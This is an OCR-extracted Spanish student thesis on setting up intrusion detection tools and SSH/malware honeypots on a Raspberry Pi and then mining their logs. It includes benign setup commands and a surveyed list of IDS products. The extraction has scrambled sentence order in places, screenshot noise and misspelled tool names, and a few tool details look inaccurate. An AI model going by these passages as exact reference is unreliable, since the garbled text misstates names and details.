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1.Introduccion

1.1 Motivacion

Debido al enorme uso que se hace de la tecnologia en la actualidad, surge
la necesidad de depositar y generar una gran cantidad de datos. La
informacion que se deriva de estos datos tiene en muchos casos un
caracter delicado ya que puede describir informacion personal, localizacion
geografica, habitos de uso e incluso secretos profesionales (productos,
planificaciones, etc.). Por esta razén es de vital importancia invertir recursos
en mantener esta informacion a salvo de quien quiera manipularla, verla sin

permiso o robarla.

Para llevar a cabo esta tarea se utilizan multitud de herramientas y técnicas,
como cifrar la informacion, monitorizar los recursos a varios niveles, e
incluso dedicar parte del desarrollo de un producto para hacerlos mas

robusto frente a ataques.

Es aqui donde entran los sistemas de deteccidn de intrusiones, los cuales
consisten en dispositivos (hardware o software) que monitorizan la
actividad de una red o un sistema para reportar actividades maliciosas.
Pueden ofrecer distintas formas de seguridad, como registrar actividades
maliciosas haciendo de sefiuelo (honeypots), filtrando el trafico de red
(firewalls), o registrando la actividad del propio sistema (monitores de

procesos como procmon).

Es por las actividades anteriormente mencionadas que se produce una
cantidad ingente de datos por sistema, lo cual hace inviable un analisis
verdaderamente practico de la misma. Esto es un problema ya que es
bastante relevante para tomar decisiones el analizar los datos para
descubrir posibles intenciones de los usuarios (predecir intenciones de

compra, aceptacion de un producto, posible ataque, etc.).

Con el objetivo de establecer estas intenciones se busca crear modelos o
patrones que las representen de manera legible al usuario. Es aqui donde

surge la mineria de datos, que aplicando diversas técnicas (algunas
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intrusiones mediante mineria de
estadisticas, otras de inteligencia artificial, entre otros tipos) sobre esos
datos es capaz de crear un modelo aproximado que sirva para guiar una
toma de decisiones.

1.2 Objetivo

El objetivo es instalar en un sistema distintos tipos de herramientas para la

deteccidn de intrusiones, de forma que el sistema en el que se instalen
guede monitorizado a varios niveles, ya que cada tipo de SDI tiene un
sefiuelo).

propoésito en particular (unos monitorizan, otros filtran, otros hacen de

Una vez implementadas y configuradas estas herramientas se procedera a
una segunda fase en la que, a la informacion adquirida por estos sistemas,
se le aplicaran procesos de mineria de datos con el objetivo de filtrar la
la que nos interesa.

informacion proporcionada por las herramientas y extraer exclusivamente

Por ultimo, se evaluaré la efectividad de las herramientas y técnicas usadas
1.3

para la ejecucion de la parte practica de este proyecto.

Planificacion

de las primeras partes.

En esta seccion veremos el desarrollo del proyecto a lo largo del tiempo.

En un inicio se puede ver cierta continuidad en cuanto al desarrollo tedrico
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Diagrama de Gantt 1
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Durante los meses de noviembre, diciembre y enero, se produce una
ralentizacion del proyecto debido a ciertas complicaciones adicionales

como el desarrollo de las practicas de empresa, ya que durante este tiempo

intrusiones mediante mineria de
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no se ha podido desarrollar el proyecto durante las mafanas.
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Tras la finalizacion de las practicas, se retoma el proyecto haciendo las

primeras pruebas de captacion de datos e iniciando la formacion en mineria

Diagrama de Gantt 3

de datos y parte de la documentacion de esta parte en el proyecto.
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A la llegada de Abril surge una nueva ralentizacion del proyecto mientras
se realiza el aprendizaje en mineria de datos. En Junio se establece de
nuevo un flujo continuo de progreso en el proyecto. Es en el rango de
tiempo abarcado entre Junio y Noviembre que se realiza en su completitud
la parte relativa a la mineria de datos. Desde su aprendizaje hasta la
eleccion de herramientas, su justificacion y el desarrollo del experimento
practico, incluida la investigacion acerca de los ataques de cara a realizar

el modelo.
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Finalmente a finales de Noviembre e inicios de Diciembre se empieza a

finalizar el trabajo lugar a las conclusiones.
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1.4 Presupuesto

Como ya hemos comentado este trabajo esta formado por dos fases
claramente diferenciadas. Para cada una de ellas necesitaremos

herramientas y formacién para poderlas llevar a cabo.

Por un lado, para la parte deteccion de intrusiones necesitaremos de un
equipo que nos haga de sefiuelo para registrar la actividad de los atacantes,

para después pasarla a otro donde serd analizada.

Ademas necesitaremos de cierta formacion adicional, para la parte de
deteccion de intrusiones ya tenemos una base, pero para la parte de
mineria de datos debe haber una formacion previa que empezara en su

debido momento cuando se llegue a la parte relacionada de este proyecto.

A continuacion pasaremos a describir el material que se ha necesitado para

el desarrollo del proyecto:

Con respecto al equipo técnico necesario se ha necesitado del uso del

siguiente modelo de Raspberry pi.

e Raspberry pi 3 modelo B

Raspberry pi 1

Precio: 33€

Placa base con capacidad para almacenar un sistema operativo, en este

trabajo sera utilizada para almacenar una serie de herramientas para
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deteccion de intrusiones, en otras palabras, la prepararemos para ser

nuestro cebo con el que extraeremos la informacion.

Con respecto a la formacion en mineria de datos, se han hecho acopio de
diversas fuentes, por un lado los apuntes de la asignatura, y por otro,

algunos capitulos del siguiente libro:

Libro “Introduccién a la mineria de datos”

Introduccion

a Ia'lVImena e Datos
- —

José Hermandez Oralle
M José Ramirez Quintana

Prentice ;
Hall (Bsar Ferri Ramirez

PEARSON

Introduccién a la Mineria de datos 1

Precio: 41€

Al carecer de nociones acerca de mineria de datos, se ha tenido que
adquirir a modo de introduccién en la materia. En él se explica cada parte
del proceso y cada una de las técnicas (de manera general) que pueden

ser usadas junto con ejemplos para ilustrar las explicaciones.
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Adicionalmente, no se ha requerido de mas gastos, puesto que, al estar

desarrollado el trabajo completamente por mi, no ha habido costes de
personal. En cuanto al tiempo requerido, variara en funcién de diversos
factores como el coste para solucionar problemas de configuracion, mi
propia disponibilidad,...Por ultimo, se han obviado los costes de

herramientas con cierta antigiiedad como lo son mi propio portatil.

En un inicio, se ha requerido de un desembolso de unos 74€ para poder
montar la infraestructura para la deteccidén de intrusiones y para una base

formativa para la mineria de datos.

1.5 Analisis del problema

Como hemos comentado anteriormente las IDS son herramientas que
estan constantemente monitorizando nuestro sistema. De esa
monitorizacion continua se pueden extraer una serie de registros los cuales
tienen con frecuencia un tamafo considerable debido al tiempo continuo de
monitoreo, el trdfico mas o menos abundante y a la posible variacion

anémala del trafico en determinadas circunstancias.

Es aqui donde la mineria de datos juega un papel fundamental, al ser una
disciplina cuyo objetivo es extraer conocimiento util de bloques de
informacion considerablemente grandes. Para ello es imprescindible tener
claro qué tipo de informaciéon queremos extraer y con qué objetivo, ya que

en funcion de ello las herramientas y las tareas del proceso pueden variar.

También es tarea relevante el conocer como va a almacenarse e integrarse
la informacion antes de iniciar el proceso y cOmo va a ser procesada y
analizada después. A lo largo de este trabajo se iran aportando una base
tedrica de cada paso junto a una serie de justificaciones que nos ayudaran
a tener claros los pasos a seguir durante el proceso, desde que la
informacion es recogida hasta que es procesada, terminando en una
conclusion basada en el conocimiento previo que hayamos adquirido en la

identificacion de amenazas. Ademas, explicaremos qué herramientas nos
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hacen falta para llevar a cabo cada uno de los pasos que componen el

proceso.

1.6 Definicion de sistemas de deteccion de intrusiones

Es un dispositivo hardware o software enfocado a analizar la actividad del
sistema y la red, en busca de accesos no autorizados o de actividades
maliciosas. Se basan en registrar el trafico (en el caso de los de red) o el
uso de los usuarios de un ordenador para detectar anomalias en su
comportamiento. Se pueden dividir en funcion de varios criterios: de modelo
de funcionamiento (de host o de red), en que se basan para detectar
(conocimiento, comportamiento), en funcién de la actividad en el sistema

(pasivos o activos)

1.7 Mineria de datos

Integration
Services

Definir el
problema

Integration
Services

Preparar
datos

Implementar
y actualizar
modelos

Generar
modelos

Disefador de

Walidar
modelos

llustraciéon mineria de datos 1

Proceso para extraer conocimiento util y comprensible desde grandes
cantidades de datos de distintos formatos. Tiene como objetivo la busqueda
de modelos o patrones a partir de esa ingente cantidad de datos. La idea
es afinar la toma de decisiones gracias al uso de estos modelos o patrones.
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Podemos entender entonces que la mineria de datos comprende dos

actividades principales:

e Trabajar con grandes cantidades enormes de datos, posiblemente
de distintos dispositivos y con distinto formato con todas las
dificultades que implican (ruido, datos vacios, informacion volatil,
etc.).

e Usar técnicas adecuadas para analizar y obtener conocimiento util

(patrones).

1.8 Estructura de esta memoria

A patrtir del siguiente punto este trabajo seguira el siguiente esquema para

abordar cada una de sus partes:

e Introduccién tedrica de la materia: Preambulo tedrico con
definiciones para dar una base previa al acercamiento del problema
y posterior seleccion de métodos.

e Desarrollo concreto: Tras la introduccion pasaremos a explicar mas
concretamente que herramientas u algoritmos nos podrian servir
para este problema.

e Justificacidén y exposicion: La ultima parte de cada punto consta de
la eleccion a aplicar para nuestro problema y un ejemplo de uso de

las herramientas a usar.

Como excepcion del punto 4 (Conclusiones), que incluird ejemplos del
problema a abordar con sus respectivas conclusiones, primero concretas

para cada caso y una final para justificar el fin de este trabajo.
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2.Estudio de sistemas de deteccion de intrusiones

En esta seccibn vamos a entrar en materia con las herramientas de
deteccion de intrusiones. En la primera parte de este proyecto ya hablamos
de ellos, definiéndolos de manera general. A continuacion, definiremos

algunos de sus tipos y como funcionan o qué tipo de registro generan.

2.1 Categorizacion

2.1.1 Tipos de IDS
Los IDS pueden dividirse principalmente en dos categorias:

e Por &mbito
o Host
= Se centran en una maquina concreta, por ejemplo, un
ordenador o servidor.
» Dentro de esta categoria podemos distinguir tres tipos:
e Monitores
o Consiste en monitorear  tanto las
caracteristicas del dispositivo como su
actividad. Este tipo de IDS monitorizan
constantemente la actividad del sistema en
busca de comportamientos anémalos, para
ello constan de una base de datos propia con
registros de eventos o de patrones de ataques.
También chequean los logs en busca de algun
cambio ilegitimo.
o Ademas, también analizan los paquetes de
red, pero solo los que entran o salen del propio
host, principalmente para verificar posibles

sefales de intrusion.
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e Verificadores de integridad.

o También pueden verificar la integridad de
archivos y ejecutables. Para ello tienen una
base de datos de archivos confidenciales,
archivos de los que se crea una suma de
verificacion (para cada uno) con una utilidad
de resumen. El resultado se almacena en un
documento (en texto plano) y es consultado
cada vez que se quiera verificar la integridad
del archivo asociado.

e Sistemas de decepcion

o Su cometido es emular un servicio legitimo. La
idea es engafar al atacante para distraerlo
haciéndole pensar que esta en una maquina
relevante con el objetivo de o bien solo
retrasar un ataque o, ademas, estudiar su
comportamiento en busca de las debilidades

que le han permitido entrar en ese sistema.

Se basan en analizar el flujo de informacién de una red. La
idea es escanear los paquetes, examinar su informacién y
registrar los que sean sospechosos o0 contengan
informacion sospechosa. Para esto se suele utilizar un
dispositivo aparte en modo promiscuo para analizar toda la
actividad, tiene la ventaja de ser transparente a los usuarios,
lo cual consigue que evite ser atacado directamente.

Con los paquetes analizados y tachados como
sospechosos, los IDS basados en red crean una base de
datos de la que pueden sacar referencias ordenadas por
severidad. Si la severidad de la amenaza de un paquete es

suficientemente alta, se avisara al equipo para examinarlo.
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Por fuente de decision
o Basado en conocimiento: Se basan en archivos generados por
parte del sistema, de las aplicaciones instaladas o de informes. La
idea es analizar estos documentos en busca de un comportamiento
extrafio. Este tipo de IDS pueden basar su conocimiento en
archivos almacenados dentro del propio sistema, la idea es
comparar estos archivos con una base de datos de peculiaridades
o de comportamientos andmalos. Estos archivos pueden ser
generados mediante mecanismos del sistema operativo 0

aplicaciones instaladas.

o Basado en comportamiento: Sus alertas saltan en cuanto se
detecta una actividad anormal durante el comportamiento del
usuario en el sistema. Se basan en patrones para distinguir entre
una actividad normal o un intento de intrusion.

Por actividad en el sistema

o Activo: El IDS responde al atacante, por ejemplo, reprogramando
el cortafuegos para que bloquee el trafico proveniente de la red del
atacante.

o Pasivo: El sensor detecta la actividad, la registra y manda la alerta.

2.1.2 Tipos de registros
Algunos de los archivos o registros en los que los IDS basan sus andlisis

para detectar anomalias son:

Registros de auditoria: Son una serie de registros realizados por el
propio sistema, creados cronologicamente. Registran la actividad de los
usuarios y de los procesos que estos invocan. En estos archivos se
registra la actividad a nivel de nucleo (llamadas a sistema), y a nivel de

usuario (aplicaciones).
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Registros de sistema: En este fichero se guardan los eventos generados

por el sistema. Los problemas de este tipo de registros son: que estan
almacenados en una ruta reconocible, estan escritos en texto plano, estan
escritos por aplicaciones mas vulnerables que el propio sistema.
Informacion de las aplicaciones: Hace referencia a los registros
generados por aplicaciones instaladas en el sistema. Algunos de ellos:

o Bases de datos

o Servidores web
Informacién recogida de objetivos: Para realizar estos registros se
establecen mecanismos para vigilar el estado de una serie de recursos
concretos del sistema (por ejemplo, monitores que vigilan la ejecucién de
procesos). A diferencia de los registros de auditoria, que tienen un
enfoque dinamico (se van realizando los registros en tiempo real), este

tipo de monitores ofrecen un enfoque estatico.

2.1.3 Tipos de respuestas
Pueden ser de dos tipos, en funcién de su actividad durante el ataque:

Activas: Implican algun tipo de accién que afecte al progreso del ataque.
De entre las respuestas activas podemos destacar las que implican:

o Ejecutar acciones contra el intruso: La mas usual cuando se
piensa en respuestas activas. Consiste en evitar que el ataque aun
vigente siga su curso. Hay muchas maneras de hacer esto algunas
mas drasticas como bloquear el equipo afectado, desactivar la red,
y algunas menos drasticas como, por ejemplo, terminar la sesion
sospechosa. Sin embargo, a la hora de actuar hay que tener cierto
cuidado ya que, o bien, podriamos estar bloqueando el acceso a
una maquina inocente que esta siendo controlada, o bien, nuestra
reaccion podria dar pistas al atacante para realizar otro tipo de

ataques diferentes.
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Otro ejemplo préactico ante la sospecha de un inicio fraudulento en

una sesion del algunos servicios web (Steam, Netflix, Gmail,...)
consiste en avisar y preguntar al usuario si efectivamente ha sido

€l quien ha iniciado sesion en otra maquina.

Corregir el entorno: Las acciones de este tipo de respuesta activa
consisten en recuperar al sistema tras el ataque, (reconfigurandolo
o recuperandolo a partir de una copia de seguridad) y aplicar algun
tipo de mejora de seguridad para afadirle robustez (por ejemplo,
registrando las pautas del ultimo ataque para afadirlo a la base de

datos).

Un ejemplo bastante sonado fue aquel que implicé a telefénica
cuando sufri6 un ciberataque Ransomware (WannaCry), puesto
gue tras la deteccion de la amenaza se llevaron a cabo una serie
de pautas para eliminar la amenaza y evitar que esta volviera a

hacer el mismo dafio.

Recopilar mas informacion: registrar informacion adicional de un
ataque puede resultarnos util de cara a un futuro, ya que, puede
permitirnos averiguar vulnerabilidades antes pasadas por alto. Este
tipo de informes podrian valer como prueba de cara a alguna
posible accion legal contra el atacante. Para este tipo de acciones

se suelen utilizar maquinas sefiuelo como los honeypots.

Como ejemplo de este tipo de reaccion, podemos poner el objetivo
de este proyecto que consiste en recabar esa informacion para su

posterior analisis mediante mineria de datos.

Pasivas
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o Su funcionalidad se resume a avisar al responsable del sistema, de

forma que, el encargado de reaccionar no es la herramienta si no

el propio usuario.

Este tipo de herramientas pueden avisar de distintas maneras o bien,
mediante un mensaje en la pantalla, o un mensaje, por ejemplo, al movil
(puede recibirlo en cualquier lugar) o al correo electronico (puede incluir

mayor cantidad de informacion).

Como ya se dijo en secciones anteriores, tenemos a nuestra disposicion
una amplia variedad de sistemas de deteccién de intrusiones. En esta
seccion analizaremos algunas de las herramientas IDS que hay y veremos
cuales nos pueden resultar Utiles para el proyecto. La idea es escoger
varios, y quedarnos con uno de cada tipo para poder complementarlos y

crear un sistema protegido a varios niveles.

Tipos

Host
o OSSEC: Sistema de monitorizacion open source con capacidad
para gestionar incidentes de seguridad. Entre sus funciones

podemos encontrar:

= Analisis de logs, gracias al servicio rsyslog.

» Validacion de integridad

= Monitoreo de registros (Windows) con tripwire.
» Deteccion de rootkits mediante rkhunter.

= Alertas en tiempo real, gracias a la herramienta logtash.

Puede ser instalado tanto en Windows como en Linux, MacOS,
OpenBSD y Solaris. Su udltima versién estable es del 23 de
diciembre de 2017 por lo que podemos entender que es reciente.
Se divide en tres partes, la aplicacion en si, un agente y una interfaz

web.
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o Advanced Intrusion Detection System (AIDE): Este IDS basado en
host toma una “instantanea” de los logs del sistema. Con esta
instantanea crea una base de datos con las veces que se ha
modificado un archivo, un registro de hashes entre otros datos
encontrados en estos registros del sistema. Ultima version estable
10 de septiembre de 2010.

o System iNtrusion Analysis & Reporting Environment (SNARE):
Coleccion de agentes de recoleccion de informes centrados en
auditar archivos de registro. Disponible para Windows, Linux,
OSX, Microsoft SQL Server, Solaris. Una vez recolecta los archivos
logs del sistema, son almacenados en el servidor de intersect

alliance para ser archivados y analizados.

o Vanguard Enforcer: IDS originalmente disefiado por la NASA capaz
de proveer monitorizacion continua y chequeo de integridad. Junto
a estas caracteristicas también es capaz de corregir los cambios
en el sistema que provocaron el fallo y de avisar al responsable de
seguridad, ademas de registrar el ataque para futuras

prevenciones. Es un servicio de pago.

o McAfee Host Intrusion Prevention for Desktop: IDS basado en host
desarrollado por McAfee. Algunas de sus ventajas nos permiten
protegernos de exploits zero-day ademas de actualizar de manera
constante las firmas, protege ademas el arranque del sistema
hasta que las directivas de seguridad son activadas. Este IDS esta
compuesto por un firewall y un sistema de prevencién de
intrusiones basado en comportamiento. Compatible con Windows
y varias plataformas de virtualizacion. Su principal cometido es

preveer ataques, pero no paliar si estos se consiguen llevar a cabo.
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o Port Sentry: Este IDS tiene como objetivo monitorear los escaneos

gue se hacen hacia los puertos de un sistema

o Fail2zBan: IPS cuyo objetivo se centra en penalizar o bloquear los
puertos a conexiones remotas sospechosas. Su funcionamiento se
basa en monitorizar ciertos archivos de configuracion y ejecutar
scripts basados en estos archivos. Necesita de una aplicacion que

controle los paquetes que entran, por ejemplo un firewall

o Samhaim: IDS basado en host que tiene como funcionalidades el
monitoreo de archivos de registro, integridad de ficheros, monitoreo
de puertos. Puede instalarse en una red para proteger varios
dispositivos de manera distribuida mediante la arquitectura
cliente/controlador o puede instalarse individualmente en un

dispositivo. Disponible para sistemas POSIX.

o Tripwire: IDS centrado en la monitorizacion y en el chequeo de
integridad de archivos, especificamente los de sistema, para los
cuales posee una serie de politicas que registran que archivos o
directorios monitorizar y que atributos vigilar de ellos (ejemplo,

permisos y sus propietarios).

o Honeypots

También conocidos como sistemas de decepcion, pueden
clasificarse segun su interaccion con el usuario (alta o baja
interaccion), o por su proposito (académico o de investigacion). A
continuacion, se describiran brevemente los honeypots que vamos

a usar en este proyecto.

= Cowrie: Honeypot de baja interaccién que emula servicios
SSHy Telnet. Esta disefiado para atrapar ataques de fuerza
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de bruta e interaccion con la consola de comandos (tras el

acceso).
Algunas de sus caracteristicas son:

e Soporte para SFTP para subir (almacenados en la
carpeta ‘dl') y descargar (mediante el comando wget)
archivos.

e Soporte para los comandos exec de SSH.

e Registro de actividad SSH.

e Sistema falso personalizale al que podemos afiadir
ficheros extra para hacerlo mas creible.

e Compatible con ELK, mysql, kippo-graph.

Deception Toolkit: Honeypot que emula una amplia variedad
de servicios de red. Se basa en escuchar las entradas y
ejecutar respuestas para hacer entender al atacante que ha
conseguido acceso, mientras registra como llevé a cabo el
ataque y que hace tras él. Como contrapartida parece que

el proyecto original dej6 de actualizarse hace mucho.

Dionaea: Honeypot disefiado para emular distintos servicios
(ftp, http, mysql, etc.), su objetivo es capturar el malware que

los atacantes dejan en nuestro ordenador.

Shadow Daemon: Coleccién de herramientas para detectar,
registrar y prever ataques. Entre estas herramientas se
incluye un honeypot de alta interaccion para aplicaciones
hechas con perl, php y python. Algunas de las amenazas
gue es capaz de detectar abarcan desde inyecciones (SQL,
XML, cédigo...), Cross-site scripting o backdoors.
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o NGIPS: IDS basado en red desarrollado por la marca CISCO. Este
IDS permite detectar amenazas e interrumpir los ataques de
manera automatica e inmediata. Durante un ataque es capaz de
realizar un informe relacionando el ataque con las maquinas
afectadas. Su servicio permite proteger la red contra el malware y

ademas un mejor control de aplicaciones y dispositivos.

o Bro IDS: Sistema de deteccion de intrusiones para unix/Linux que
analiza el trafico de red a nivel de aplicacion. Estd compuesto por
dos componentes, el motor de eventos, encargado de organizar los
paquetes, y el intérprete de scripts, que es quien detalla las
acciones que se van a llevar a cabo cuando se detecta una
actividad concreta. Tanto los criterios que hacen saltar una alarma
como las acciones a tomar pueden personalizarse mediante scripts
o Policies. Estas politicas pueden estar basadas en diferentes
protocolos. Entre las medidas que se pueden llevar a cabo
podemos contar las medidas activas.

o Snort: IDs de red con motor de deteccion de ataques y escaneo de
puertos desarrollado por Cisco. Puede ser usado como sniffer para

analizar los paquetes. Posee licencia tanto GPLv2 como comercial.

o Suricata IDS: IDS e IPS caracterizado por su procesamiento
multihilo, que le permite procesar gran cantidad de paquetes a la
vez, su deteccion automatica de protocolos y su capacidad para
realizar estadisticas y analisis de rendimiento. Compatible con

Snort.

o IBM Security Network Intrusion Prevention System: IPS de red que

ofrece entre sus caracteristicas: aplicacion automatica de parches
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de seguridad, cuarentena de segmentos de host y de redes,

soporte para ipv6, compatibilidad con SNORT, etc.

o Strata Guard: Este IPS basado en red nos permite mediante
politicas bloquear conexiones ya sean, punto a punto para
compartir ficheros, de mensajeria instantanea ademas de bloquear
ataques, todo gracias a su firewall integrado. Strata guard puede
detectar anomalias derivadas de intentos de suplantacion o de

escaneos de puertos.

o Outpost Network Security: IDS de pago basado en red bastante
completo. Entre sus caracteristicas estan: un cliente antivirus,
proteccion proactiva contra amenazas 0-day, monitorizacion en
tiempo real, bloqueo de dispositivos USB, actualizaciones diarias
de firmas de spyware, configuracion de politicas de acceso.

o IDP8200 intrusion detection and prevention appliances: IDS
desarrollado por Juniper Networks. Puede ser desplegado de
manera pasiva como un sniffer, o de manera activa, para desechar
paguetes o conexiones sospechosas. Estd compuesta de tres
partes: la interfaz de usuario, los sensores IDP (son los que reciben
y analizan el trafico), y el servidor de gestion IDP (almacena todos
los archivos sospechosos, politicas de seguridad y logs de
registro). Si es colocado de manera activa puede prevenir ataques

bloqueando conexiones.

o Cisco Intrusion Prevention Systems: IDS capaz de proporcionar a
una red proteccién distribuida contra diversos tipos de amenazas
como ataques, exploits, gusanos o virus. Capacidad para

monitorizar el trafico y de inspeccionarlo en busca de informacién
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sospechosa. Como caracteristica adicional es compatible con otros

productos CISCO.

2.2 Justificacion de la solucion o soluciones elegidas

En el apartado anterior hemos visto una coleccion de herramientas que
podrian servirnos para cumplir el objetivo de esta segunda parte dedicada
a la deteccion de intrusiones, sin embargo, hemos de seleccionar cuales
pueden ser las ma&s adecuadas para nuestro caso debido a diferentes
caracteristicas los recursos necesarios para disponer de la herramienta, por
ejemplo, el coste (algunas de las opciones son de pago), la experiencia

previa o el objetivo del proyecto.

Los criterios a seguir para elegir una herramienta u otra de la lista son los

siguientes:

e Su coste. Si es gratuito serd mas accesible.

e El tiempo que lleva existiendo la herramienta desde su creacion y su
ultima fecha de actualizacién. Esto puede darnos a entender que, se
ha ido corrigiendo fallos y que el equipo que la mantiene tiene cierta
experiencia.

e La adecuacion a nuestro proyecto. Hay herramientas que solo tienen
un propadsito concreto y otras que pueden cumplir varios, por ejemplo,
una que sea validadora de integridad y realice tareas de

monitorizacion.

Las herramientas elegidas para la parte de deteccion de intrusiones son las
siguientes, se daran mas detalles acerca de las mismas en la seccion

relativa a su instalacion y configuracion:

e |DS basados en host

o SAMHAIM: Este IDS nos sirve tanto para validar la integridad
de los archivos como para monitorizar y analizar los archivos de

registro, tiene también la capacidad de monitorizar los puertos,
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detectar rootkits e incluso procesos ocultos. Se le ha elegido por

realizar varias tareas de monitorizacion lo que hace de esta
herramienta una muy completa. Se utilizara para comprobar si
alguan archivo del sistema operativo es modificado mediante

algun acceso no detectado por los honeypots.

o Dionaea: Lo llamativo de este honeypot es que su objetivo
reside en almacenar una copia del malware que el atacante deja
en el sistema, lo cual puede servirnos entre otras cosas para
intentar averiguar desde donde nos han dejado o se ha tenido
gue descargar un determinado virus. A dia de hoy esta
herramienta sigue actualizandose y cuenta ademas con su

propio visualizador de logs.

o Cowrie: Se ha elegido este honeypot por su facilidad para
ponerlo en marcha y por la experiencia previa que ya se tenia
sobre él. Ademas, se puede descargar facilmente desde el
repositorio original de GitHub. Al estar actualizado
constantemente cuenta con ciertas mejoras que no poseia su
anterior version. Posee su propio visualizador de logs
(heredado de su version anterior Kippo). Sera utilizado para

monitorizar accesos al servidor SSH.

e |DS basado en red
o Suricata: IDS enfocado a analizar el trafico de red. Similar a
snort o bro IDS, pero con el afiadido de que permite tener
procesamiento multihilo. Ademas, es compatible con Snort. Con
el podemos afinar mas en el trafico dirigido a alguno de los

puertos que vigilaremos (como el SSH).
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2.3 Implantacion y configuracion de la solucion o soluciones

elegidas

En esta seccion veremos coOmo arrancar cada una de las herramientas
instaladas, que tipo de registros generan y que informacién obtenemos de
ellas. Esto nos sirve para hacernos una idea de que informacion

manejaremos en la parte de mineria de datos.

2.3.1 Preparacion previa

Antes de entrar en faena con cada una de las herramientas debemos
asegurarnos de que nuestro sistema y nuestra red estan seguros de los
posibles resultados de nuestros experimentos. Para eso llevaremos a cabo

algunos pasos previos:
e Meter nuestro IDS en una DMZ.
Para realizar este paso hemos de entrar en la configuracion de nuestro
router. Después debemos cambiar a “Modo experto”.

Una vez estemos en modo experto vamos a la seccion “Internet’,

subseccién DMZ.

. Vision general elefono nternel Wi-Fi onfiguracion stado y Soporte
El médem 3G insertado no es compatible Rechazar
Mo DMZ
Redireccion de Puertos Si tiene un cliente local que no puede ejecutar una aplicacion de Internet correctamente detras del
firewall NAT, puede habilitar el acceso sin restricciones activando el DMZ
DMZ
Control Parental Funcién DMZ ’
DNS & DDNS
UPnP 0 Por favor, aplique o cancele los cambios. m Cancelar

WolAN

Funcion DMZ 1

Al activar la opcién “Funcion DMZ” se nos abrira una seccion con la IP
publica del router y con una serie de recuadros a rellenar con la direccion

IP de nuestra maquina. La rellenamos y la confirmamos.
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Esto nos sirve para exponer nuestra maquina fuera del firewall del router,

lo que permite facilitar a los atacantes el verla y atacarla. Asi podremos
recoger informacion mas facilmente ademas, al no estar en la misma
seccion de red que el resto de los equipos (que estan detras del firewall) le

es mas dificil a un atacante infectarlos.

Cambiar a un usuario sin privilegios.

Durante la instalacion de las herramientas se ha definido un usuario con
una serie de permisos. La idea es ejecutar las herramientas que se
puedan con esa cuenta de forma que, si por un casual algo va mal, la
cuenta afectada es una con escasos privilegios en lugar de una mas

delicada.

Redireccion de puertos.
Con la siguiente orden podemos redirigir el trafico del puerto 22 al que

tengamos definido para nuestro honeypot

iptables -t nat -A PREROUTING -p tcp -dport 22 -j

REDIRECT —-to-port 2222

2.3.2 Cowrie
Para iniciar el honeypot debemos movernos hasta el directorio donde lo
tengamos instalado, buscar la carpeta bin y alli ejecutar la orden:

e ./cowrie start

Tras un tiempo ejecutandose podremos ver los registros del honeypot, para
acceder a ellos debemos mirar dentro del directorio

/cowrie/var/log/cowrie.log.
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W \:l "1 ‘cowrre@raspberrypn azeiMaster@raspberr... )ﬁ = 0 %‘ 13:38

CHANGELOG.rst
CONTRIBUTING.rst

Ejemplo de uso de cowrie 1
Lo que vemos en el terminal derecho es el inicio de ejecucién. En el
izquierdo veremos los registros de cada accién realizada por el atacante.
Como es un IDS de tipo honeypot de momento solo podremos observar la

interaccidn que tiene el intruso con nuestra maquina trampa.

2.3.3 Dionaea
Para iniciar dionaea, al igual que con cowrie, debemos ir al directorio donde
tengamos instalado el honeypot (en nuestro caso, lo encontraremos en

/opt/dionaea), y alli ejecutar el comando

e ./dionaea -1 all -L ~*~

Tras ejecutar la orden nos saldra algo como esto:
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Ejemplo de uso de dionaea 1

Lo que vemos en ambas imagenes es un registro de inicio de Dionaea.
Como esté recién arrancado lo Unico que veremos de momento es como

carga los médulos y si hay algun tipo de error con el inicio.
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Ejemplo de uso de dionaea 2
Al ser un IDS de tipo honeypot, lo Gnico que podremos hacer con él es
esperar a que sea atacado para poder ver los registros. Dionaea nos
permite ademas conservar algunos de los archivos maliciosos que intenten

dejarnos los atacantes.

2.3.4 Samhain

En este caso con “samhain -t init” inicializamos la base de datos de
Samhain con los archivos cuya integridad vamos a vigilar (principalmente
los relevantes del sistema). Tras esto podemos iniciar la monitorizacion de
Samhain con “samhain -t check” (podemos afiadir —-D para ejecutarlo

en segundo plano).

En la siguiente imagen podemos observar dos cosas:
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1. En la terminal de la derecha se puede observar el arranque de

Samhain, cada cierto tiempo realiza una pasada sobre los archivos
gue debe vigilar (los cuales definimos en el archivo de configuracion)
y se mantiene monitorizandolos en busca de si hay algun cambio.
2. En el terminal de la izquierda veremos si algunos de los archivos
monitorizados es cambiado. En su uso basico, Samhain nos permite

ver si el archivo ha sido modificado y cuando.

S i— = {— ~ —

Archivo Editar Pestafias Ayuda

Espacio libre: 32 GiB (total: 1

l tries
)

Ejemplo de uso de samhain 1

2.3.5 Suricata

Para ejecutarlo simplemente hemos de escribir “suricata” en la linea de

comandos, en nuestro caso hemos utilizado la rule (/etc/suricata/rules)

Para iniciar Suricata con las opciones por defecto debemos teclear:
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e Suricata -c /etc/suricata/suricata.yaml —-i wlanO

-c para indicar donde se encuentra el archivo de configuracion
-1 para activar el modo sniffer y especificar una interfaz

-D para activar suricata en modo daemon

- <Notice> -

Ejemplo de uso de Suricata 1

Al arrancar con la orden antes mencionada Suricata hace uso de su archivo
de configuracion para buscar las reglas activas y se mantiene a la vigilancia
de la interfaz que le hayamos asignado. Tras esto solo nos queda esperar

a que llegue trafico relacionado a las reglas definidas.

2.4 Recopilaciéon de datos
En esta seccidn explicaremos el tipo de registros que obtendremos de cada
herramienta y expondremos ejemplos en el caso de haber obtenido

informacion en algunos de ellos.
e Cowrie

En este caso deberia verse informacion sobre los intentos de acceso
(parejas de usuario y contrasefia), la ip del atacante, la versién de ssh que
esté utilizando, asi como un registro extenso de toda la actividad hasta que

se corta la conexion.
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B cowrie log2013-02-20 _|| B cowiie log 2019-02-18 £ [H cowrie.log 1 |

1 2019-09-03T17:25:41.9616532 [-] Python Version 3.5.3 (default, Sep 27 2018, 17:25:39) [GCC 6.3.0 20170516]
2 2019-09-03T17:25:41.%6168€% [-] Twisted Version 16.9.0
3 2019-09-03T17:25:41.97329%8%2 [-] Loaded output engine: Jspnlog
4 2019-09-03T17:25:42.023336%Z [-] Loaded output engine: mysql
5 2019-08-03T17:25:42.030036% [twisted.scripts. twistd unix.UnixAppLogger#info] twistd 18.8.0 (/home/cowrie/cowrie/cowrie-gny/bin/
6 2019-09-03T717:25:42.030632% [twisted.scripts._twistd unix.UnixAppLogger#info] reactor class: twisted.inhernet.spollreachor.EPoll
7 2019-09-03T17:25:42.055827% [-] CowrieSSHFactory starting on 2222
